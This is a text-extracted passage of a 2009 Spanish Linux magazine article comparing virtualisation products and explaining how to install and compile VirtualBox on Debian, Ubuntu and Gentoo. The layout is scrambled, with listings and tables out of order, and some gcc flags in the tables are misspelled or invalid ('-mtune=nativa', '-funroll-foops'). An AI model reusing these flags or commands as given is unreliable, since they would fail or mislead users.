# apt-get install gcc g++ bcc iasl xsltproc uuid-dev zlib1g-dev libidl-dev

\

libsdl1.2-dev libxcursor-dev libasound2-dev libstdc++5 \

libqt3-headers

python2.5-dev libqt4-dev qt4-dev-tools libcap-dev libqt3-mt-dev

Listado 3. Compilación e instalación de VirtualBox a partir de los fuentes

# export CFLAGS="-mtune=core2 -O2" (optimizaciones elegida, según la

tabla)

# export CXXFLAGS=”-mtune=core2 -O2"

(configuramos, compilamos)

# ./configure –disable-hardening

# source ./env.sh

# kmk all

(Instalamos librerías y ejecutables)

# cp -prf *.so /usr/lib/

# mkdir /usr/local/virtualbox

# cp -prf * /usr/local/virtualbox/

# ln -s /usr/local/virtualbox/VirtualBox /usr/local/bin/VirtualBox

# ln -s /usr/local/virtualbox/VBoxSVC /usr/local/bin/VBoxSVC

(compilamos e instalamos el modulo)

# cd out/linux.x86/release/bin/src

# make

# make install

(Actualizamos la lista de módulos del sistema)

# depmod

Listado 4. Enlazado de librerías problemáticas para arquitecturas de 64 bits

# ln -s libX11.so.6 /usr/lib32/libX11.so

# ln -s libXTrap.so.6 /usr/lib32/libXTrap.so

# ln -s libXt.so.6 /usr/lib32/libXt.so

# ln -s libXtst.so.6 /usr/lib32/libXtst.so

# ln -s libXmu.so.6 /usr/lib32/libXmu.so

# ln -s libXext.so.6 /usr/lib32/libXext.soFigura 1. Diagrama del diseño en capas de los sistemas virtualizado

Page 20: Linux_05_2009_ES

20 Linux+ 5/2009

soluciones para empresasMáquinas virtuales: Una alternativa para PYMES

– Software disponible actualmente: sus ventajas e inconvenientes,

– Orientación que se le dará al artículo. Enfoque del hardware y software.

• Instalación del software necesario: Virtual-Box:– Elección de la versión adecuada– Métodos de instalación. Las diferentes

distribuciones y el código fuente– Instalador con un gestor de paquetes:

Debian, Ubuntu, Gentoo– Instalación a partir del código fuente:

32 y 64 bits– Preparando VirtualBox

• Primera toma de contacto con VirtualBox• Los parámetros de las máquinas virtua-

les:– Configuración de las opciones básicas– Los parámetros avanzados– Las pestañas: descripcion y otros– Configuración de los discos duros– Configuración del CDROM y disquete– Configuración del dispositivo de

sonido– Configuración de las tarjetas de red– Configuración del puerto serie– Directorios compartidos– Instalación de las Guest Additions

• Configuración de la red.

Introducción a las máquinas virtualesPodríamos definir una máquina virtual como un software especializado que se encarga de emular un PC completamente. Desde el teclado hasta la tarjeta de vídeo. Siempre que se habla de máquinas virtuales salen a relucir dos con-ceptos:• Máquina física (también se le suele lla-

mar sistema anfitrión, o anfitrión sola-mente): Cuando nos referimos a la má- quina física estamos haciendo alusión al ordenador propiamente dicho y a todas las piezas que lo componen. Podríamos decir que es la parte que podemos to- car.

• Máquina virtual (también llamada hués-ped o máquina virtualizada). Es aquella que estamos simulando. Físicamente no existe como tal. Pero el software de si-mulación se encarga de hacerle creer al sistema operativo que se instale en dicha máquina que es un PC físico completo y normal. El Sistema operativo no notará diferencia alguna entre la máquina física y la virtual.

Un ordenador con un software adecuado para la virtualización puede alojar varias máquinas vir-tuales. El numero dependerá del hardware del que se disponga (para hacer un buen balance ha-bría que realizar un cálculo estimado de consumo de recursos de las máquinas virtuales y el hard-ware del que se dispone). Todas ellas comparten todos los componentes físicos de la máquina. El software de virtualización se encargará de hacerle pensar a cada una de las máquinas virtualizadas que son dispositivos físicos diferentes.

Figura 2. Selección del gestor de paquetes Synaptics

Figura 3. Elección del origen del software

Figura 4. Añadir la firma del nuevo repositorio

Page 21: Linux_05_2009_ES

21www.lpmagazine.org

soluciones para empresasMáquinas virtuales: Una alternativa para PYMES

El software consigue esto creando un capa intermediaria entre el hardware real y la máquina virtual. A esta capa se le suele llamar hypervisor y es la parte fundamental de la virtualización. De él depende la velocidad de acceso a los recursos físicos, como pueden ser el disco duro o la tarjeta de red.

Para intentar aclarar un poco más el con-cepto de máquina virtual puede ver la Figura 1. En la imagen podemos observar la abstracción que existe entre las diferentes máquinas vir-tuales, el medio físico y el intermediario entre ambos: el hypervisor.

¿Por qué una máquina virtual?Después de esta pequeña introducción a las má- quinas virtuales, viene inevitablemente a la cabe-za la pregunta que todos nos hacemos la primera vez que oímos hablar de ellas: ¿Cuál es la ganan-cia que consigo con máquinas virtuales?, ¿No sería más eficiente dedicar todo el hardware a un solo sistema operativo?, ¿El hardware requerido para que el rendimiento sea aceptable debe de ser muy costoso?

El porqué del uso de máquinas virtuales no consiste en una sola respuesta, sino varias. Para empezar, la principal

Software disponible actualmente: sus ventajas e inconvenientesEn la actualidad podemos encontrar en el mer-cado numerosas soluciones de virtualización. Tanto de pago como gratuitas. Cada cual con sus ventajas e inconvenientes. A continuación comentaremos brevemente las más destacadas

y se hará una pequeña comparativa entre ellas.Xen: Desarrollado originalmente por la Uni-

versidad de Cambridge. Fue adquirido por Citrix System en el 2007. Capaz de funcionar en entor-nos de 32 y 64 bits. Incluye soporte específico para las extensiones de virtualización de Intel y Amd (se trata más adelante este tema). Es capaz de clonar máquinas virtuales en caliente, siendo capaz de hacerlo en un tiempo ínfimo (del orden de mili segundos). Utiliza una técnica llamada paravirtualización. Con ella consigue una penali-

zación en el rendimiento de las máquinas virtua-les del orden del 2% con condiciones normales y del 8% en los peores casos. Estos porcentajes contrastan con el 20% que sufren habitualmente con el resto de soluciones software. Es necesario Linux como sistema base para poder correrlo. En sus primeras versiones existía una versión para Windows XP, pero problemas de licencias con Microsoft prohíben su lanzamiento al público. Un punto a favor de Xen es que es gratuito y open- source.

VMWare: Sin duda el software más cono-cido cuando hablamos de virtualización. Lo podemos encontrar para entornos de 32 y 64 bit compatibles con la arquitectura x86. Existen versiones tanto para Windows, Linux y MacOS X con microprocesadores Intel. El rendimiento depende mucho del hardware disponible en la máquina y en los recursos que se le deseen asignar a la máquina virtual. Una de las mejores cualidades que VMWare es su excelente gestor gráfico para la administración de las máquinas virtuales. Este facilita el manejo de cada una de las máquinas hasta el punto de llegar a ser prácticamente trivial el crear y administrar una máquina virtual. Sin lugar a dudas es uno de los más usados hoy en día y no es para menos, ya que se ha ganado un puesto en todo lo alto. Existen versiones de gratuitas, pero las versio-nes profesionales no lo son.

VirtualPC: Desarrollado originalmente por Connectix y adquirido por Microsoft. Al con-trario que otras soluciones software, VirtualPC emula el hardware y lo limita considerablemen-te. Existen versiones para prácticamente todas

Figura 5. Actualizar la lista de paquetes

Figura 6. Selección de paquetes para la instalación de VirtualBox

Page 22: Linux_05_2009_ES

22 Linux+ 5/2009

soluciones para empresasMáquinas virtuales: Una alternativa para PYMES

las versiones de Windows y Mac. Tiene bas-tantes limitaciones como, por ejemplo, sólo hay capa de emular tarjetas gráficas de hasta 16 bits para las últimas versiones. Los sistemas virtuali-zados están bastante limitados. Aunque es capaz de soportar la mayor parte de los sistemas de Microsoft e incluso algunas versiones de OS/2 de IBM, no es así con Linux. Este no está sopor-tado oficialmente, y las versiones que son capaz de funcionar bajo él necesitan de un ajuste de parámetros para conseguir arrancar. Al contrario de lo que pueda pensar, Microsoft distribuye Vir-tualPC de forma completamente gratuita.

KVM: Del acrónimo Kernel Virtual Machi-ne, es una solución completa de virtualización integrada en el kernel de Linux y sistemas UNIX. Soportado para diversas arquitecturas: s390, PowerPC, IA6 e Intel x86 y compatibles. De uso gratuito.

VirtualBox: Desarrollado por la empresa alemana innotek y adquirido posteriormente por

Sun Microsystems. Disponible para multitud de plataformas: Windows, Linux, OS/2, Solaris, freeBSD... así como varias arquitecturas. Se ase- meja bastante a VMWare y tiene un cierto grado de compatibilidad con este. Su simpleza y su fun-cionamiento más que aceptable lo han convertido una buena alternativa a éste ya que es software libre. Para este artículo VirtualBox ha sido la opción elegida.

Qemu: Realmente no es un software de vir-tualización propiamente dicho, pero este artícu- lo no estaría completo si no lo mencionáramos. Qemu es un emulador de procesadores. Este es capaz de traducir los archivos binarios de un procesador a otro. Tiene dos modos de funcio-namiento: Emulación del modo usuario, que fun- ciona como ya se ha mencionado, es decir, tra-duciendo binarios. Emulación en modo completo que es capaz de emular el PC por completo. El sistema anfitrión necesita ser adaptado y par-cheado para soportarlo. Entre sus inconve-

nientes podemos mencionar la ausencia de un soporte completo para Windows, arquitecturas poco frecuentes o drivers. Está disponible para múltiples arquitecturas hardware.

Orientación que se le dará al artículo, enfoque del hardware y softwareEste artículo está dirigido a todas aquellas per-sonas a las que les guste experimentar y probar cosas nuevas. Muchas veces descubrimos soft-ware que, por curiosidad, nos gustaría probar. El problema está cuando se instala y borra

Para las pruebas que se realizarán en este artículo se hará uso de un ordenador personal de uso corriente. En mi caso usé un portátil con un Intel core2 Dúo, aunque todo lo aquí he escrito es válido para cualquier tipo de PC. Para aquellos determinados aspectos que requieran de algún matiz particular para algún determina-do tipo de hardware se detallará las modifica-ciones pertinentes de forma adecuada.

Anteriormente se hizo un breve repaso por el software más popular que existe actualmente en términos de virtualización. En nuestro caso usaremos VirtualBox, de Sun MicroSystems. El motivo es su sencillez de uso, la capacidad de virtualizar prácticamente cualquier sistema ope-rativo existente en el mercado, y su rendimiento óptimo. VirtualBox empezó siendo un proyecto como alternativa a los grandes fabricantes, como VMWare. Pero lo que empezó siendo un software modesto está demostrando que es capaz de competir y acaparar una cuota de mercado un poco olvidada: los usuarios. E incluso las peque-ñas empresas.

Instalación del software necesario: VirtualBoxComo ya se ha comentado anteriormente Virtual-Box es un software relativamente nuevo. Por ese motivo en cortos periodos de tiempo aparecen versiones nuevas, que añaden funcionalidad y cor- rigen fallos. Dadas las diferentes versiones que existen no nos centraremos en la última release. Instalaremos la última versión estable disponible para cada distribución. También se hará una instalación desde el código fuente. En ese caso sí nos descargaremos e instalaremos la última release.

Métodos de instalación. Las diferentes distribuciones y el código fuenteDada la cantidad de distribuciones de Linux disponibles actualmente, es sumamente com-plicado y extenso explicarlo para todas y cada una de ellas. Por esta razón se explicará única-mente para tres distribuciones. Los motivos de por qué se han elegido esas distribuciones y no otras, y cuales de ellas fueron es el siguiente:

Tabla 1. Optimizaciones para gcc 4.2.4 o inferiores

Gcc 4.2.4 o inferioresIntel -mtune={pentium/pentium-mmx/pentiumpro} -O2 -mmmx -fomit-frame-pointer -pipe

-malign-doublePentium o celeronpentium-mmx pentiumpro

Pentium2 -mtune=pentium2 -O2 -mmmx -fomit-frame-pointer -pipe

Pentium3Pentium3 mobile

-mtune={pentium3/pentium3-m} -O2 -mmmx -msse -fomit-frame-pointer -pipe -mfpmath=sse

Pentium4Pentium4 mobile o Celeron mobile

-mtune={pentium4/pentium4-m} -O2 -fomit-frame-pointer -pipe -mmmx -msse -msse2 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays

CentrinoCeleron mobile

-mtune=pentium-m -O2 -mmmx -msse -msse2 -fomit-frame-pointer -pipe -mfpmath=sse

Core2Core2 dúo

-mtune=nocona -O2 -fomit-frame-pointer -pipe -mmmx -msse -msse2 -msse3 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays

QuadCore -mtune=opteron -O2 -fomit-frame-pointer -pipe -mmmx -msse -msse2 -msse3 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays

AmdK6 -mtune=k6 -O2 -mmmx -fomit-frame-pointer -pipe -malign-double

k6-2k6-3

-mtune={k6-2/k6-3} -O2 -mmmx -m3dnow -fomit-frame-pointer -pipe -malign-double

AthlonTurionAthlon-xp

-mtune={athlon/athlon-xp} -O2 -mmmx -fomit-frame-pointer -pipe -malign-double -msse -m3dnow -mfpmath=sse

Athlon 64Athlon fx

-mtune={athlon64/athlon-fx} -O2 -mmmx -fomit-frame-pointer -pipe -malign-double -ms-se -m3dnow -msse2 -msse3 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays

OpteronPhenom

-mtune={opteron} -O2 -mmmx -fomit-frame-pointer -pipe -malign-double -msse -m3dnow -msse2 -msse3 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays

Page 23: Linux_05_2009_ES

23www.lpmagazine.org

soluciones para empresasMáquinas virtuales: Una alternativa para PYMES

• Debian: Sin duda en cualquier artículo o es- crito de Linux que se precie es práctica-mente obligado el hacer referencia a ella. Son muchos los motivos que se podrían dar a favor de Debian. Nombrando sólo algunos se podría decir: La gran estabilidad del siste-ma. La enorme comunidad de gente que hay detrás de ella. La multitud de arquitecturas en las que es soportado: desde un 386 hasta un Quad Core. El poco consumo de recur-sos necesario para su funcionamiento en un sistema básico. Podríamos instalar un servi-dor web Apache en Debian, que no soporte demasiadas conexiones por segundo, en un 486 con 32 Megabytes de RAM.

• Ubuntu: Al igual que a Microsoft con su Windows (y esto es le pese a quien le pese) hay que agradecerle la gran difusión de la informática para uso personal, a Ubuntu hay que agradecerle el acercarle a los usuarios no especializados el uso de GNU/Linux. Ubun-tu posee una comunidad inmensa, es posible que la mayor que existe en GNU/Linux. Su punto fuerte es su simplicidad y sencillo manejo. Es tremendamente fácil instalar y configurar Ubuntu (De hecho uno de sus principales eslogan es: Ubuntu: GNU/Linux para gente normal), además de poseer un enorme soporte para prácticamente cual-quier tipo de hardware. Es por eso que se ha ganado su merecida popularidad.

• Gentoo: En contraposición a Ubuntu, Gen-too posee muchas cualidades, pero la sim-plicidad no es una de ellas. Gentoo coge la filosofía de FreeBSD y extrapola al mundo

Linux. En esencia lo que hace es optimizar todo el sistema para el hardware que se disponga. Esto se consigue modificando una serie de archivos de configuración y defi- niendo, según su hardware, una serie de pará- metros. Una vez hecho esto, para cualquier software que quiera instalar, descargará el código fuente de dicho programa (y todas sus dependías) de Internet y lo compilará con los parámetros que usted especificó, como puede ser: El tipo de procesador y las optimizaciones elegidas, las funcionalidades que desea añadirle al software y cuales no serán necesarias. De esta forma afinará el sistema específicamente a lo que realmente usará, consiguiendo una ganancia de rendi-miento nada despreciable. Por la forma en la que Gentoo optimiza cada programa se explicarán los parámetros necesarios para su instalación.

También se explicará la configuración e insta-lación de VirtualBox a partir del código fuente, con todas las ventajas e inconvenientes que ello conlleva. Sin duda las ventajas superan a los inconvenientes, ya que el único inconvenien-

te que conlleva es la correcta instalación de las dependencias a la hora de compilar. Una vez resuelto ese tema, lo único que se puede obtener es una ganancia de rendimiento con-siderable. Por tanto, a no ser que use gentoo (ya que él lo hace automáticamente), yo reco-mendaría este método para su instalación si se quiere sacar el máximo partido a la capacidad de nuestro PC.

Instalación con un gestor de paquetes: Debian, Ubuntu y GentooSin duda usar un gestor de paquetes es manera más rápida y cómoda de instalar cualquier tipo de software. El único problema es que están compilados para máquinas genéricas. De esta manera se puede instalar en un mayor número de ordenadores, pero a cambio se pierde ren-dimiento (Salvo en gentoo que, como ya se comentó, hace precisamente eso: optimizar el programa que se va a instalar para la máquina). Detallamos la instalación usando los gestores de paquetes de cada una de las distribuciones nombradas anteriormente:

Debian: El gestor de paquetes de Debian se llama apt. Disponemos de dos comandos principales para ejecutarlo: apt-get, apt-cache. Con el primero instalaremos los programas que queramos, actualizaremos la lista de paquetes disponibles y el sistema de forma global, entre otras. El segundo se usa esencialmente para buscar programas disponibles que pueden ser instalados.

Debian no incluye en sus repositorios los paquetes de VirtualBox, por tanto tendremos que añadirlos de forma manual. Editamos para ello el archivo donde se almacenan los repositorios con nuestro editor favorito. En nuestro caso usaremos nano por ser extremadamente simple.

Edición del archivo que contiene los re-positorios:

# nano -w /etc/apt/sources.list

Agregamos la siguiente linea:

[…]

deb http://download.virtualbox.org/

virtualbox/Debian etch non-free

[…]

Figura 7. Apertura de un terminal

Figura 8. Versión del gcc

Page 24: Linux_05_2009_ES

24 Linux+ 5/2009

soluciones para empresasMáquinas virtuales: Una alternativa para PYMES

Antes de instalar VirtualBox actualizaremos la lista de paquetes. Para hacerlo pondremos los siguientes comandos (cabe señalar que ambos comandos han de ser ejecutados como root).

(actualización de la lista de

paquetes)

# apt-get update

# apt-get install virtualbox-2.0

Apt necesitara descargar, dependiendo de la instalación base que tenga, entre 36 y 52 Mb. Una vez apt haya finalizado tendremos Virtual-Box instalado.

Ubuntu: Ubuntu está basado en Debian, por tanto utiliza el mismo gestor de paquetes y fi-cheros de confirmación para los repositorios. Si lo desea puede seguir los pasos explicados en el apartado anterior o puede usar el gestor gráfico que incorpora por defecto Ubuntu (el gestor tam-bién puede ser instalado en Debian). Dicho gestor es Synaptics (Figura 2). Antes de empezar tendre-mos que descargar un archivo. Este archivo con-tiene la firma digital gpg para validar la autentici-dad y validación del repositorio que añadiremos más adelante. Podemos descargar el archivo en: http://download.virtualbox.org/virtualbox/de- bian/sun_vbox.asc. Guardamos el archivo donde mejor nos parezca. Después tendremos que usar-lo. Abrimos el gestor de paquetes.

A continuación tendremos que marcar una serie de opciones en el gestor, si no las tenemos marcadas ya (las que aparecen encuadradas en un rectángulo en la imagen). Para ello nos dirigimos al menú configuración->repositorios (Figura 3). Ahora es el momento de usar ese archivo que descargamos al principio. Importamos la firma digital desde donde la guardáramos (Figura 4). Al igual que hacíamos con Debian, deberemos de recargar la lista de repositorios. Para ello pul-samos el menú de actualizar repositorio (Figura 5). Buscamos e instalamos VirtualBox. Selec-cionamos el botón buscar que se encuentra a la derecha de la barra de herramientas y escribimos: VirtualBox. Los resultados nos saldrán en el cua-dro blanco que se encuentra debajo. Hemos de marcar los siguientes, según la Figura 6.

Una vez tengamos hecho esto le damos al botón de aplicar. Una vez descargado e insta-lado necesitamos compilar el módulo para el kernel, necesario para VirtualBox. Para ello tendremos que usar la linea de comandos. Va-mos al menú principal de Ubuntu y nos abrimos un terminal (Figura 7).

Synaptics nos habrá dejado los códigos fuente del módulo para el kernel en el direc-torio /usr/src/vboxdrv-2.0.4 (el último dígito puede variar en función de la versión que nos haya instalado el Synaptics. Solo nos

queda compilar. Tecleamos lo siguiente (Lis- tado 1).

Si queremos que se cargue el módulo de forma automática cada vez que iniciemos el sistema deberemos de añadir la siguiente linea en el fichero /etc/modules:

(Edición del archivo que contiene los

módulos de arranque)

# nano -w /etc/modules (pulsamos

CTRL+X para salir)

Agregamos la siguiente linea:

[…]

vboxdrv

[…]

Hecho esto tenemos nuestro VirtualBox listo para funcionar.

Gentoo: El gestor usado por gentoo es llama-do portage. No se trata solamente de unos cuantos

comandos, sino que incluye todo el sistema de gestión de paquetes y su mantenimiento. El co-mando usado para instalar software en gentoo es emerge. Hay que recalcar varias cosas. Si usamos la versión estable el aspecto gráfico, y varias fun-cionalidades, podrían no ser del todo adecuados. Por eso usaremos la versión inestable, que en el momento de escribir este artículo es la 2.0.6. También hemos de prestar atención a los flags de compilación, ya que esta versión requiere las librerías qt4, de otro modo no instalará el entorno gráfico para VirtualBox. También requiere de al menos los flags del USE activados, como mínimo para su correcto funcionamiento: alsa, pulseaudio, python. Que corresponden, respectivamente, con el sistema de sonido avanzado de Linux (Advan-ced Linux Sound Architecture) encargado de inte-ractuar la tarjeta de sonido, el servidor de sonido pulseaudio (necesario para ciertas funciones de sonido en las máquinas virtuales), y python para que se instalen ciertos scripts de administración. Por tanto introduciremos el comando adecuado

Tabla 2. Optimizaciones para gcc 4.3.0 o superiores

Gcc 4.3.0 o superioresIntel Las opciones son exactamente iguales que para las versiones 4.2.4 e

inferiores.Pentium o celeronpentium-mmx pentiumpro

Pentium2

Pentium3Pentium3 mobile

Pentium4Pentium4 mobile o Celeron mobile

CentrinoCeleron mobile

Core2Core2 dúo

-mtune=core2 -O2 -fomit-frame-pointer -pipe -mmmx -msse -msse2 -msse3 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays

QuadCore -mtune=barcelona -O2 -fomit-frame-pointer -pipe -mmmx -msse -ms-se2 -msse3 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays

Amd Las opciones son exactamente iguales que para las versiones 4.2.4 e inferiores.K6

k6-2k6-3

AthlonTurionAthlon-xp

Athlon 64Athlon fx

-mtune={athlon64/athlon-fx} -O2 -mmmx -fomit-frame-pointer -pipe -malign-double -msse -m3dnow -msse2 -msse3 -mfpmath=sse -funro-ll-loops -fprefetch-loop-arrays

Opteron -mtune=nativa -O2 -mmmx -fomit-frame-pointer -pipe -malign-double -msse -m3dnow -msse2 -msse3 -mfpmath=sse -funroll-loops -fprefet-ch-loop-arrays

Phenom -mtune=amdfam10 -O2 -mmmx -fomit-frame-pointer -pipe -malign-double -msse -m3dnow -msse2 -msse3 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays

Page 25: Linux_05_2009_ES

25www.lpmagazine.org

soluciones para empresasMáquinas virtuales: Una alternativa para PYMES

dependiendo la arquitectura del sistema operativo que tengamos instalado.

En el caso de tener instalado un sistema de 64bits:

# ACCEPT_KEYWORDS="~amd64" USE="qt4

alsa pulseaudio python" emerge

virtualbox-ose

Si nuestro sistema es de 32 bits:

# ACCEPT_KEYWORDS="~x86" USE="qt4 alsa

pulseaudio python" emerge virtualbox-ose

La variable ACCEPT_KEYWORDS define la arqui-tectura para la cual se va a compilar el paquete pasado como parámetro a emerge. Si el nombre de la arquitectura va precedido de ~ se interpre-tará como que se desea instalar la versión ines-table. La variable USE indica las características que queremos añadir al software que vamos a compilar. En este caso añadimos aquellas que nombramos anteriormente. Una vez he-cho esto, emerge se encarga de descargar los códigos fuentes de VirtualBox, así como sus dependencias, y compilarlas con las optimiza- ciones configuradas en el sistema. Una vez hecho esto ya tendremos VirtualBox listo para funcionar.

Instalación a partir del código fuente: 32 y 64 bitsSin lugar a dudas este es el método más ade-cuado si lo que queremos es sacarle el máximo rendimiento a VirtualBox. El hecho de que compilemos el software para adaptarlo a nues-tra arquitectura específicamente, además de incluirle alguna optimización como parámetros al gcc nos hará ganar un notable rendimiento en VirtualBox y por lo tanto en las máquinas virtualizadas.

El procedimiento que se explica es válido tanto para Debian como para Ubuntu (ya que en Gentoo no tiene demasiado sentido). El proceso también puede extrapolarse a cualquier distribución, pero se tendría de tener cuidado de instalar las dependencias convenientemente.

Para comenzar debemos explicar que Vir-tualBox se apoya en una serie de librerías ya existentes. Por ello antes tenemos que asegurar-nos que las tenemos correctamente instaladas. Si ya las tuviéramos en nuestro sistema no pasaría nada. Lo único que pasaría es que apt le informa-ría que la librería ya se encuentra en sus sistema y por tanto no instalará nada nuevo. Ejecutamos el siguiente comando para instalarlas (Listado 2).

Si vamos a compilar para una arquitectura de 64 bits tendremos que instalar unos paquetes adicionales:

apt-get install ia32-libs libc6-

dev-i386 lib32gcc1 gcc-multilib

lb32stdc++6 \

g++-multilib

Cuando la instalación de las librerías haya finalizado, necesitaremos descargar el código fuente del VirtualBox.

Descomprimimos el archivo tecleando en una consola. Acto seguido entramos en el directorio:

# tar -xjf VirtualBox-2.0.6-

OSE.tar.bz2

# cd VirtualBox-2.0.6

Llegados a este punto han de explicarse los parámetros de optimización del gcc. Estos son los que marcarán la diferencia entre los binarios precompilados (que podemos instalar en Debian y Ubuntu) o compilar nosotros mismos la apli-cación. Gcc acepta muchos parámetros, entre ellos el tipo de procesador en el que se ejecutará el binario compilado, el nivel de optimización que deseamos, las extensiones multimedia del procesador que nos gustaría activar, etc. Para rea-lizar esta tarea el gcc usa dos variables globales: CFLAGS y CXXFLAGS. Dependiendo de la versión del gcc las optimizaciones podrían variar. Un valor que, normalmente, varía es el parámetro mtune, que especifica el tipo de procesador del que se dispone. El motivo de que varíe es que en las versiones algo más antiguas no aparecen los procesadores más modernos. Por eso es impor-tante saber de qué versión de gcc disponemos. Para comprobarla escribimos en un terminal:

# gcc -v

Después de esta orden obtendremos algo pare-cido a lo siguiente al contenido de la Figura 7.

Detallamos una pequeña tabla con las op-timizaciones que se han considerado óptimas dependiendo el tipo de procesador que se dis-ponga (sólo se muestran algunos) y la versión del gcc (Tabla 1). Hay que matizar que lo que se pretende, ante todo, es jugar en favor de la

optimización. Lo que implica que se perderá en portabilidad.

A continuación se detalla, brevemente, una pequeña explicación de la funcionalidad de cada parámetro:

• -mtune: Especifica el tipo de procesador que tenemos.

• -O2: Le indica al compilador que queremos un tipo de optimización de nivel 2. Existen 4 tipos de optimizaciones. -O1, que aplica una optimización leve. -O2, que optimiza de forma moderada. -O3, que optimiza de ma-nera agresiva y -Os, que optimiza para que el ejecutable ocupe el menor tamaño posible.

• -pipe: Este parámetro no influye en el rendi-miento una vez compilado el código fuente. Su función es la de acelerar el proceso de compilación. Para ello hace uso de pipes o tuberías para comunicar los diferentes procesos que se crean cuando el compilador trabaja, en lugar de archivos temporales.

• -fomit-frame-pointer: Este parámetro proporciona un registro del procesador ex-tra que puede ser usado para otras tareas, siempre y cuando la función llamada no lo necesite.

• -mfpmath: Indica al compilador que se de-sea usar la unidad aritmética con las nuevas extensiones sse, en lugar de la antigua 387.

• -m3dnow, -mmmx, -msse, -msse2, -msse3: Activa el uso de las extensiones multimedia -m3dnow, mmx, sse, sse2 y sse3.

• -funroll-foops: Intenta extender los bu-cles. Se gana en rendimiento sacrificando el tamaño de los ejecutable, que aumentan.

• -fprefetch-loop-arrays: Si el procesador tiene soporte, intenta precargar en memoria cierto código antes de ejecutar los bucles. De esta forma se optimiza el rendimiento. Esto es así ya que el bucle no ha de esperar la carga de esas instrucciones, puesto que se cargaron con anterioridad en memoria.

Una vez este comando haya terminado ya ten-dremos todo lo necesario para proseguir con la

Tabla 3. Procesadores con soporte de virtualización nativa

Intel Amd

Pentium 4 (662 y 672) Athlon 64

Pentium 4 Extreme con soporte HT Athlon 64 X2, familias F y G con socket AM2

Pentium D 920-960, excepto 945, 935, 925, 915 Turion 64 X2

Core Opteron

Core 2 Phenom y Posteriores

Series Xeon 3000

Series Xeon 5000

Series Xeon 7000

QuadCore y posteriores

Page 26: Linux_05_2009_ES

26 Linux+ 5/2009

soluciones para empresasMáquinas virtuales: Una alternativa para PYMES

compilación. Tan solo nos queda exportar nues-tras variables CFLAGS y CXXFLAGS y comenzar con la compilación. Anteriormente lo quedamos situado en el directorio en que descomprimimos VirtualBox. Tecleamos los siguientes comandos (estos comandos deberían de hacerse como root. Al menos el make install), ver Listado 1.

Si encontramos errores de librerías cuando arranquemos VirtualBox, en sistemas de 64 bits, solucionaremos esto enlazando las si-guientes dependencias. Haremos esto en el di-rectorio raíz en el que hicimos el kmk (ver Lis- tado 2).

Hecho esto ya tenemos compilado, instalado y (lo más importante) optimizado VirtualBox.

Preparando VirtualBoxAntes de usar VirtualBox han de configurar un par de cosas inprescindibibles para su uso. Si se pretende ejecutar máquinas virtuales como usuario normal, habrá que añadirlo al grupo co-rrespondiente. Este grupo es vboxusers. Todos los usuarios pertenecientes a este grupo tendrán los permisos suficientes para ejecutar todas las funcionalidades de VirtualBox. Además habrá que cargar el módulo necesario para que se eje-cute correctamente al arrancar el sistema. Para añadir a nuestro usuario al grupo de aquellos que pueden ejecutar VirtualBox y crear máqui-nas virtuales ejecutaremos:

# gpasswd -a NUESTRO_USUARIO

vboxusers

Configuramos el sistema para que al arranque cargue los módulos necesarios de VirtualBox.

En Debian y Ubuntu escribiremos lo si-guiente en el directorio /etc/modules :

[…]

vboxdrv

vboxnetflt

[…]

escribiremos

En Gentoo escribiremos los módulos el fichero /etc/modules.autoload/kernel-2.6 :

[…]

vboxnetflt

[…]

Tan solo nos queda dar los permisos apropiados para que todos los usuarios del grupo vboxusers puedan acceder al driver de virtualización creado por VirtualBox. Para hacer esto escri-biremos:

chmod 660 /dev/vboxdrv

chgrp vboxusers /dev/vboxdrv

Primera toma de contacto con VirtualBoxEn esta sección se explicará, lo más detallada-mente posible, cada uno de los menús que pode-mos encontrarnos cuando arrancamos la aplica-ción. Más adelante entraremos en detalle sobre la configuración de los parámetros de las máquinas virtuales y las posibilidades que ofrece nuestro entorno de virtualización. Cuando arrancamos el software nos aparecerá, en primer lugar, un formulario de registro. Tendremos que indicarle un nombre y una cuenta de correo. El registro no es obligatorio, pero si lo dejamos en blanco nos aparecerá cada vez que iniciemos el entorno. Si no se desea que Sun disponga de nuestros datos, pero que tampoco nos aparezca esa pantalla cada vez que arranquemos, podemos introducir unos ficticios. Aunque esta información solamente será usada para términos estadísticos (por regla general). Cuando hayamos completado este registro ya podremos empezar a trabajar con el entorno, apareciéndonos una ventana como esta que se muestra en la Figura 9.

El entorno es sumamente intuitivo. En la imagen se ve como ya existen dos máquinas virtuales instaladas. Todas las que vayamos añadiendo se irán colocando a la izquierda, debajo de las que se muestran en la imagen.

A la derecha aparecen tres pestañas. Nave-gando por ellas podemos encontrar todos los parámetros de configuración disponibles para cada una de nuestras máquinas virtuales. Los botones grandes, encima de las máquinas, son lo suficientemente explicativos como para no necesitar añadir nada.

Ahora detallaremos cada uno de los menús. Empezando por el menú Archivos (Figura 10) nos aparecerá, como primera opción, Administrador de Discos Virtuales, nos permitirá gestionar los discos duros virtuales de los que disponemos, crear nuevos y eliminar los ya existentes. La op-ción Preferencias, nos abrirá una nueva ventana desde la que podremos controlar las opciones globales como el idioma, directorios de trabajo, o periodicidad de chequeo de la disponibilidad de actualizaciones. Y por último salir.

Si hacemos click en el menú Máquina se desplegará un menú con el de la Figura 11. Con Nuevo abriremos un asistente que nos guiará en la creación de una nueva máquina virtual. Configuración nos mostrará los parámetros configurados para la máquina que tengamos se-leccionados en ese momento, si disponemos de alguna. En otro caso estará desactivada. Borrar eliminará una máquina virtual del la lista que nos aparece debajo. Hay que tener cuidado con esta opción porque no solamente nos la elimi-nará de la lista, sino que también borrará todos los archivos que tiene. Iniciar arrancará la má-quina virtual seleccionada. Esta opción corres-pondería a la pulsación del botón de power en un ordenar físico. Descartar, Pausar y Actuali-zar tal vez resulten un poco confusos si nunca se ha trabajado con entornos de virtualización. Cuando trabajamos con máquinas virtualizadas disponemos de opciones que, si éstas fueran ordenadores físicos, no tendríamos disponibles. Estas características hacen que podamos pausar un sistema virtual una vez lo hayamos arranca-do. Esto congela todo el estado de la máquina, tal cual está en ese preciso instante. Podemos dejar en este estado la máquina tanto tiempo co-mo queramos. Cuando la necesitemos de nuevo tan solo tenemos que volver a darle a iniciar y volverá al estado en el que se quedó cuando la pausamos. Para ésta es como si no hubiera pasado 